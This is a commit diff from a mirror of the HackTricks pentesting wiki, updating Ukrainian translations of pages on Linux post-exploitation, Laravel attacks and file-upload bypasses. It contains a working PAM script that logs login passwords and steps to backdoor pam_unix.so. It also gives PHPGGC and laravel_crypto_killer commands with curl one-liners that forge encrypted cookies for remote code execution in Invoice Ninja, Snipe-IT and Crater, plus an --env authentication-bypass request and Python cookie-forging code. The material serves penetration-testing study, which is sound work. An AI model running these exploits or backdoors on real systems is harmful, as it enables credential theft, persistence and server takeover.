mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/laravel.
This commit is contained in:
parent
0727e9e1be
commit
4a86d2398e
@ -1,25 +1,26 @@
|
||||
# Linux Post-Exploitation
|
||||
# Linux Пост-експлуатація
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sniffing Logon Passwords with PAM
|
||||
## Перехоплення паролів при вході за допомогою PAM
|
||||
|
||||
Налаштуємо PAM-модуль для логування кожного пароля, який користувач вводить при вході. Якщо ви не знаєте, що таке PAM, перевірте:
|
||||
|
||||
Давайте налаштуємо модуль PAM для запису кожного пароля, який використовує користувач для входу. Якщо ви не знаєте, що таке PAM, перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**Для отримання додаткової інформації перегляньте [оригінальний пост](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Це лише резюме:
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Нижче — лише підсумок:
|
||||
|
||||
**Огляд техніки:**
|
||||
Плагінові модулі аутентифікації (PAM) пропонують гнучкість у керуванні аутентифікацією на системах на базі Unix. Вони можуть підвищити безпеку, налаштовуючи процеси входу, але також можуть становити ризики, якщо їх неправильно використовувати. Це резюме описує техніку захоплення облікових даних для входу за допомогою PAM, а також стратегії пом'якшення.
|
||||
**Огляд методики:**
|
||||
Pluggable Authentication Modules (PAM) надають гнучкість у керуванні автентифікацією в системах на базі Unix. Вони можуть підвищувати безпеку шляхом налаштування процесів входу, але також становлять ризики при неправильному використанні. У цьому короткому огляді описано методику збору облікових даних за допомогою PAM, а також стратегії пом'якшення.
|
||||
|
||||
**Захоплення облікових даних:**
|
||||
**Перехоплення облікових даних:**
|
||||
|
||||
- Скрипт bash під назвою `toomanysecrets.sh` створено для запису спроб входу, захоплюючи дату, ім'я користувача (`$PAM_USER`), пароль (через stdin) та IP-адресу віддаленого хоста (`$PAM_RHOST`) у `/var/log/toomanysecrets.log`.
|
||||
- Скрипт робиться виконуваним і інтегрується в конфігурацію PAM (`common-auth`) за допомогою модуля `pam_exec.so` з параметрами для тихого виконання та відкриття токена аутентифікації для скрипта.
|
||||
- Цей підхід демонструє, як скомпрометований Linux-хост може бути використаний для тихого запису облікових даних.
|
||||
- Bash-скрипт із ім'ям `toomanysecrets.sh` створюється для логування спроб входу, записуючи дату, ім'я користувача (`$PAM_USER`), пароль (через stdin) та IP віддаленого хоста (`$PAM_RHOST`) у `/var/log/toomanysecrets.log`.
|
||||
- Скрипт роблять виконуваним і інтегрують у конфігурацію PAM (`common-auth`) з використанням модуля `pam_exec.so` з опціями для тихого виконання та передачі токена автентифікації скрипту.
|
||||
- Цей підхід демонструє, як скомпрометований Linux-хост може бути використаний для прихованого логування облікових даних.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**Для отримання додаткової інформації перегляньте [оригінальний пост](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Це лише резюме:
|
||||
**Для детальнішої інформації див. [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Це лише короткий огляд:
|
||||
|
||||
Pluggable Authentication Module (PAM) - це система, що використовується в Linux для аутентифікації користувачів. Вона працює на трьох основних концепціях: **ім'я користувача**, **пароль** та **послуга**. Файли конфігурації для кожної служби розташовані в каталозі `/etc/pam.d/`, де спільні бібліотеки обробляють аутентифікацію.
|
||||
The Pluggable Authentication Module (PAM) — система під Linux для автентифікації користувачів. Вона працює на трьох основних концептах: **username**, **password**, та **service**. Файли конфігурації для кожного сервісу знаходяться в каталозі `/etc/pam.d/`, де shared libraries обробляють автентифікацію.
|
||||
|
||||
**Мета**: Модифікувати PAM, щоб дозволити аутентифікацію з певним паролем, обходячи фактичний пароль користувача. Це особливо зосереджено на спільній бібліотеці `pam_unix.so`, яка використовується файлом `common-auth`, що включається майже всіма службами для перевірки паролів.
|
||||
**Objective**: Змінити PAM, щоб дозволяти автентифікацію з конкретним паролем, минаючи реальний пароль користувача. Це зосереджено на бібліотеці `pam_unix.so`, яка використовується файлом `common-auth`, що включається майже всіма сервісами для перевірки пароля.
|
||||
|
||||
### Кроки для модифікації `pam_unix.so`:
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **Знайдіть директиву аутентифікації** у файлі `common-auth`:
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- Рядок, відповідальний за перевірку пароля користувача, викликає `pam_unix.so`.
|
||||
2. **Модифікуйте вихідний код**:
|
||||
- Додайте умовний оператор у вихідний файл `pam_unix_auth.c`, який надає доступ, якщо використовується заздалегідь визначений пароль, в іншому випадку продовжує звичайний процес аутентифікації.
|
||||
3. **Перекомпілюйте та замініть** модифіковану бібліотеку `pam_unix.so` у відповідному каталозі.
|
||||
4. **Тестування**:
|
||||
- Доступ надається через різні служби (вхід, ssh, sudo, su, захисник екрану) з заздалегідь визначеним паролем, тоді як звичайні процеси аутентифікації залишаються незмінними.
|
||||
2. **Modify Source Code**:
|
||||
- Додайте умовну перевірку в файлі `pam_unix_auth.c`, яка надає доступ, якщо використано заздалегідь визначений пароль; інакше продовжує звичайний процес автентифікації.
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- Доступ надається в різних сервісах (login, ssh, sudo, su, screensaver) за допомогою визначеного пароля, при цьому стандартні процеси автентифікації залишаються незмінними.
|
||||
|
||||
> [!TIP]
|
||||
> Ви можете автоматизувати цей процес за допомогою [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
|
||||
Якщо ви знайдете зашифрований файл `.gpg` і папку користувача `~/.gnupg` (pubring, private-keys, trustdb), але не можете розшифрувати через permissions/locks GnuPG homedir, скопіюйте keyring у записуване місце і використайте його як ваш GPG home.
|
||||
|
||||
Типові помилки, які ви побачите без цього: "unsafe ownership on homedir", "failed to create temporary file", або "decryption failed: No secret key" (оскільки GPG не може читати/записувати оригінальний homedir).
|
||||
|
||||
Workflow:
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
Якщо секретний матеріал ключа присутній у `private-keys-v1.d`, GPG розблокує та розшифрує без запиту passphrase (або запитає, якщо ключ захищено).
|
||||
|
||||
|
||||
## Посилання
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -4,14 +4,14 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Прочитайте інформацію про це тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
Детальніше читайте тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Laravel використовує AES-256-CBC (або GCM) з HMAC цілісності під капотом (`Illuminate\\Encryption\\Encrypter`).
|
||||
Сирцевий шифротекст, який врешті-решт **надсилається клієнту**, є **Base64 JSON об'єктом** на зразок:
|
||||
Laravel використовує AES-256-CBC (або GCM) з HMAC для забезпечення цілісності під капотом (`Illuminate\\Encryption\\Encrypter`).
|
||||
Сирий шифртекст, який в кінцевому підсумку **відправляється клієнту**, — це **Base64 of a JSON object**, наприклад:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,21 +20,23 @@ Laravel використовує AES-256-CBC (або GCM) з HMAC цілісно
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` за замовчуванням `serialize()` відкритий текст, тоді як `decrypt($payload, $unserialize=true)` **автоматично `unserialize()`** розшифроване значення. Тому **будь-який атакуючий, який знає 32-байтовий секрет `APP_KEY`, може створити зашифрований PHP серіалізований об'єкт і отримати RCE через магічні методи (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` за замовчуванням викликає `serialize()` для відкритого тексту, тоді як
|
||||
`decrypt($payload, $unserialize=true)` **автоматично `unserialize()`** розшифроване значення.
|
||||
Отже **будь-який зловмисник, який знає 32-байтовий секрет `APP_KEY`, може створити зашифрований серіалізований PHP об'єкт і отримати RCE через магічні методи (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Мінімальний PoC (фреймворк ≥9.x):
|
||||
Мінімальний PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Впровадьте отриманий рядок у будь-який вразливий `decrypt()` sink (параметр маршруту, cookie, сесія тощо).
|
||||
Впровадьте отриманий рядок у будь-який вразливий `decrypt()` sink (route param, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) автоматизує весь процес і додає зручний **bruteforce** режим:
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) автоматизує весь процес і додає зручний режим **bruteforce**:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Скрипт прозоро підтримує як CBC, так і GCM корисні навантаження та повторно генерує поле HMAC/tag.
|
||||
Скрипт прозоро підтримує як CBC, так і GCM payloads і перегенерує поле HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Вразливі патерни в реальному світі
|
||||
## Реальні вразливі шаблони
|
||||
|
||||
| Проект | Вразливий sink | Ланцюг гаджетів |
|
||||
|--------|----------------|-----------------|
|
||||
| Проект | Вразливий sink | Gadget chain |
|
||||
|--------|----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie, коли увімкнено `Passport::withCookieSerialization()` | Laravel/RCE9 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
Процес експлуатації завжди такий:
|
||||
1. Отримати або зламати 32-байтовий `APP_KEY`.
|
||||
2. Побудувати ланцюг гаджетів за допомогою **PHPGGC** (наприклад, `Laravel/RCE13`, `Laravel/RCE9` або `Laravel/RCE15`).
|
||||
3. Шифрувати серіалізований гаджет за допомогою **laravel_crypto_killer.py** та відновленого `APP_KEY`.
|
||||
4. Доставити шифротекст до вразливого `decrypt()` sink (параметр маршруту, cookie, сесія …), щоб викликати **RCE**.
|
||||
Порядок експлуатації завжди:
|
||||
1. Отримати або brute-force 32-байтовий `APP_KEY`.
|
||||
2. Побудувати gadget chain за допомогою **PHPGGC** (наприклад `Laravel/RCE13`, `Laravel/RCE9` або `Laravel/RCE15`).
|
||||
3. Зашифрувати серіалізований gadget за допомогою **laravel_crypto_killer.py** і відновленого `APP_KEY`.
|
||||
4. Доставити ciphertext до вразливого `decrypt()` sink (route parameter, cookie, session …), щоб викликати **RCE**.
|
||||
|
||||
Нижче наведені короткі однорядкові команди, що демонструють повний шлях атаки для кожного з вказаних вище CVE в реальному світі:
|
||||
Нижче наведені стисливі однорядкові приклади, що демонструють повний шлях атаки для кожного з реальних CVE, згаданих вище:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
---
|
||||
## Масове виявлення APP_KEY через cookie brute-force
|
||||
|
||||
## Масове виявлення APP_KEY через брутфорс куків
|
||||
|
||||
Оскільки кожна нова відповідь Laravel встановлює принаймні 1 зашифрований кукі (`XSRF-TOKEN` і зазвичай `laravel_session`), **публічні інтернет-сканери (Shodan, Censys, …) витікають мільйони шифротекстів**, які можна атакувати офлайн.
|
||||
Оскільки кожна нова відповідь Laravel встановлює принаймні 1 зашифроване cookie (`XSRF-TOKEN` і зазвичай `laravel_session`), **публічні інтернет-сканери (Shodan, Censys, …) leak millions of ciphertexts**, які можна атакувати офлайн.
|
||||
|
||||
Ключові висновки дослідження, опублікованого Synacktiv (2024-2025):
|
||||
* Набір даних липень 2024 » 580 тис. токенів, **3.99 % ключів зламано** (≈23 тис.)
|
||||
* Набір даних травень 2025 » 625 тис. токенів, **3.56 % ключів зламано**
|
||||
* >1 000 серверів все ще вразливі до старого CVE-2018-15133, оскільки токени безпосередньо містять серіалізовані дані.
|
||||
* Велике повторне використання ключів – Топ-10 APP_KEYs є жорстко закодованими значеннями за замовчуванням, які постачаються з комерційними шаблонами Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
* Датасет July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Датасет May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
|
||||
* Велике повторне використання ключів – Top-10 APP_KEYs є жорстко вбудованими дефолтами, що постачаються з комерційними Laravel шаблонами (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
Приватний інструмент Go **nounours** підвищує пропускну здатність брутфорсу AES-CBC/GCM до ~1.5 мільярда спроб/с, зменшуючи час зламу повного набору даних до <2 хвилин.
|
||||
Приватний Go інструмент **nounours** піднімає пропускну здатність AES-CBC/GCM bruteforce до ~1.5 billion tries/s, скорочуючи full dataset cracking до <2 minutes.
|
||||
|
||||
|
||||
## Лайфхаки Laravel
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
Коли PHP має `register_argc_argv=On` (типово для багатьох дистрибутивів), PHP відкриває масив `argv` для HTTP-запитів, похідний з query string. Нові версії Laravel парсили ці “CLI-like” args і поважали `--env=<value>` під час виконання. Це дозволяє змінювати framework environment для поточного HTTP-запиту просто додавши його в будь-який URL:
|
||||
|
||||
- Швидка перевірка:
|
||||
- Відвідайте `https://target/?--env=local` або будь-який рядок і подивіться на залежні від environment зміни (debug banners, footers, verbose errors). Якщо рядок відображається, override працює.
|
||||
|
||||
- Приклад впливу (бізнес-логіка, що довіряє спеціальному env):
|
||||
- Якщо додаток містить гілки на кшталт `if (app()->environment('preprod')) { /* bypass auth */ }`, ви можете автентифікуватися без дійсних облікових даних, надіславши login POST на:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Примітки:
|
||||
- Працює для кожного запиту окремо, без персистентності.
|
||||
- Вимагає `register_argc_argv=On` та вразливої версії Laravel, яка читає argv для HTTP.
|
||||
- Корисний примітив для отримання більш детальних помилок у “debug” envs або для тригерування шляхів коду, захищених за environment.
|
||||
|
||||
- Заходи пом'якшення:
|
||||
- Вимкніть `register_argc_argv` для PHP-FPM/Apache.
|
||||
- Оновіть Laravel, щоб ігнорувати argv в HTTP-запитах і видалити будь-які припущення довіри, пов'язані з `app()->environment()` в production routes.
|
||||
|
||||
Мінімальний потік експлуатації (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Laravel Tricks
|
||||
|
||||
### Режим налагодження
|
||||
|
||||
Якщо Laravel знаходиться в **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\
|
||||
Якщо Laravel у **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\
|
||||
Наприклад `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Це зазвичай потрібно для експлуатації інших CVE RCE Laravel.
|
||||
Зазвичай це потрібно для експлуатації інших Laravel RCE CVEs.
|
||||
|
||||
### Fingerprinting & exposed dev endpoints
|
||||
|
||||
Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
|
||||
|
||||
- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). Якщо доступний без автентифікації, застосунок може бути в debug або неправильно налаштований.
|
||||
- `/_debugbar` → Laravel Debugbar assets; часто вказує на режим налагодження.
|
||||
- `/telescope` → Laravel Telescope (dev monitor). Якщо публічно доступний, очікуйте широкого розкриття інформації та можливих дій.
|
||||
- `/horizon` → Queue dashboard; витік версії та іноді дії, захищені CSRF.
|
||||
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel зберігає APP, який він використовує для шифрування куків та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ за допомогою деякого обходу шляху: `/../.env`
|
||||
Laravel зберігає APP, який використовується для шифрування cookies та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ за допомогою path traversal через: `/../.env`
|
||||
|
||||
Laravel також покаже цю інформацію на сторінці налагодження (яка з'являється, коли Laravel знаходить помилку і вона активована).
|
||||
Laravel також покаже цю інформацію на debug page (яка з'являється, коли Laravel виявляє помилку і debug увімкнено).
|
||||
|
||||
Використовуючи секретний APP_KEY Laravel, ви можете розшифрувати та повторно зашифрувати куки:
|
||||
Використовуючи секретний APP_KEY Laravel, ви можете decrypt та re-encrypt cookies:
|
||||
|
||||
### Розшифрувати кукі
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
@ -169,18 +214,18 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
Вразливі версії: 5.5.40 та 5.6.x до 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Тут ви можете знайти інформацію про вразливість десеріалізації: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
Інформацію про вразливість десеріалізації можна знайти тут: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Ви можете протестувати та експлуатувати це, використовуючи [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Або ви також можете експлуатувати це з metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Або також можна експлуатувати через metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
@ -194,5 +239,9 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Загальна методологія завантаження файлів
|
||||
|
||||
Інші корисні розширення:
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
@ -17,11 +17,11 @@
|
||||
|
||||
### Обхід перевірок розширень файлів
|
||||
|
||||
1. Якщо застосовується, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи **великі літери**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Перевірте **додавання валідного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_
|
||||
1. Якщо застосовано, **перевірте** **попередні розширення.** Також тестуйте їх, використовуючи **великі букви**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Перевірте **додавання валідного розширення перед** виконуваним розширенням (використовуйте попередні розширення також):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Спробуйте додати **спеціальні символи в кінці.** Можна використовувати Burp для **bruteforce** всіх **ascii** та **Unicode** символів. (_Зауважте, що також можна спробувати використати **вищезгадані** **розширення**_)
|
||||
